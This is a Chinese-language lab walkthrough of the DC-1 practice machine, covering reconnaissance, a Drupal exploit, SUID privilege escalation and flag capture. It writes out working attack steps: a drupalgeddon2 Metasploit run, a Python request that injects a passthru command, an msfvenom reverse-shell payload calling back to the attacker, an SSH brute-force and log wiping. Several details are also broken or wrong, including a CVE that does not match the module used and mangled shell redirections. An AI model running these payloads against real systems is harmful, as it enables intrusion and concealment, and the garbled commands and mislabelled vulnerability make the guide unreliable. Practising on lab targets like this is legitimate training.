DC-1靶机渗透实战:从SQL注入到提权完整指南 1. DC-1靶机渗透实战概述DC-1是一款专为渗透测试学习者设计的虚拟靶机环境内置了4个需要获取的flag标志。这个靶机模拟了典型的Web应用漏洞场景涉及SQL注入、文件包含、权限提升等多个常见漏洞类型。作为渗透测试入门者通过实战攻克DC-1可以系统掌握从信息收集到最终提权的完整渗透流程。我首次接触DC-1时花了近8小时才完成全部flag的获取期间踩遍了所有能踩的坑。现在回头看其实只要掌握正确的方法论2小时内就能完成整个渗透过程。本文将分享我总结的高效渗透路线特别适合刚学完Kali Linux基础工具的新手实践。2. 环境准备与网络配置2.1 靶机与攻击机部署推荐使用VirtualBox或VMware部署环境攻击机Kali Linux 2023.4已预装所有必要工具靶机下载DC-1.ova文件导入即可网络配置关键点# 查看Kali IP ifconfig eth0 # 扫描同网段设备 nmap -sn 192.168.56.0/24注意务必确保两台虚拟机处于同一网络模式推荐NAT或Host-Only。我最初使用桥接模式导致扫描不到靶机浪费了1小时排查。2.2 基础工具检查确保以下工具可用# 基础扫描工具 which nmap # 渗透框架 msfconsole --version # Web漏洞扫描 dirb --help3. 信息收集阶段实战3.1 主机发现与端口扫描首先用Nmap进行基础扫描nmap -sV -A -T4 192.168.56.102典型扫描结果会显示22/tcp: OpenSSH 6.7p180/tcp: Apache httpd 2.4.10111/tcp: rpcbind技巧遇到扫描速度慢时添加-Pn参数跳过主机发现或使用--min-rate 500控制发包速率。3.2 Web应用指纹识别访问靶机IP的80端口使用Wappalyzer或手动检查curl -I http://192.168.56.102关键发现CMS: Drupal 7Server: Apache/2.4.10 (Debian)4. 漏洞利用与权限获取4.1 Drupal CMS漏洞利用搜索已知漏洞searchsploit drupal 7发现Drupal 7的SQL注入漏洞CVE-2014-3704使用MSF模块msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.102 exploit成功后会获得Meterpreter会话第一个flag通常在/var/www目录下。4.2 权限提升路径获取初始shell后查找SUID文件find / -perm -4000 2/dev/null发现/usr/bin/find有SUID位利用它提权touch /tmp/root /usr/bin/find /tmp/root -exec whoami \;踩坑记录早期版本需要先执行nc -lvp 4444监听新版可直接获取root shell。5. Flag获取全流程5.1 Flag1Web目录路径/var/www/flag1.txt 内容通常包含提示信息指引下一步方向5.2 Flag2数据库凭证通过Drupal的settings.php文件获取数据库密码cat /var/www/sites/default/settings.php登录MySQL查找flagmysql -udbuser -pR0ck3t use drupaldb; select * from flag_table;5.3 Flag3计划任务检查crontab发现备份脚本cat /etc/crontab跟踪脚本执行路径找到flag3。5.4 Flag4root目录最终flag在/root目录下需要完整提权后才能获取。6. 渗透后的痕迹清理6.1 日志清除# Apache日志 echo /var/log/apache2/access.log # 历史命令 history -c6.2 后门删除检查可能创建的账户cat /etc/passwd删除添加的SSH密钥rm -f /root/.ssh/authorized_keys7. 常见问题解决方案7.1 Meterpreter会话不稳定解决方法# 生成持久化后门 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST192.168.56.101 LPORT4444 -f elf shell.elf # 靶机执行 chmod x shell.elf ./shell.elf7.2 扫描不到开放端口可能原因防火墙阻止靶机未正常启动检查命令# 靶机检查服务状态 systemctl status apache2 # 检查防火墙 iptables -L7.3 提权失败处理备选方案# 内核漏洞检查 uname -a searchsploit linux kernel 3.2 # 密码爆破 hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.1028. 渗透测试技能进阶建议自动化工具链配置# 安装自动化扫描工具 apt install autorecon # 运行全自动扫描 autorecon 192.168.56.102编写自定义漏洞检测脚本#!/usr/bin/env python import requests target http://192.168.56.102 response requests.get(target /?quser/passwordname[#post_render][]passthruname[#markup]id) print(response.text)参与CTF实战VulnHub更多靶机下载Hack The Box在线平台CTFtime赛事日历整个渗透过程中最关键的体会是信息收集阶段的质量直接决定后续成功率。我曾在漏洞利用环节卡壳3小时后来发现只是因为漏扫了一个关键端口。建议新手严格按照OSCP方法论执行每个步骤并做好详细记录。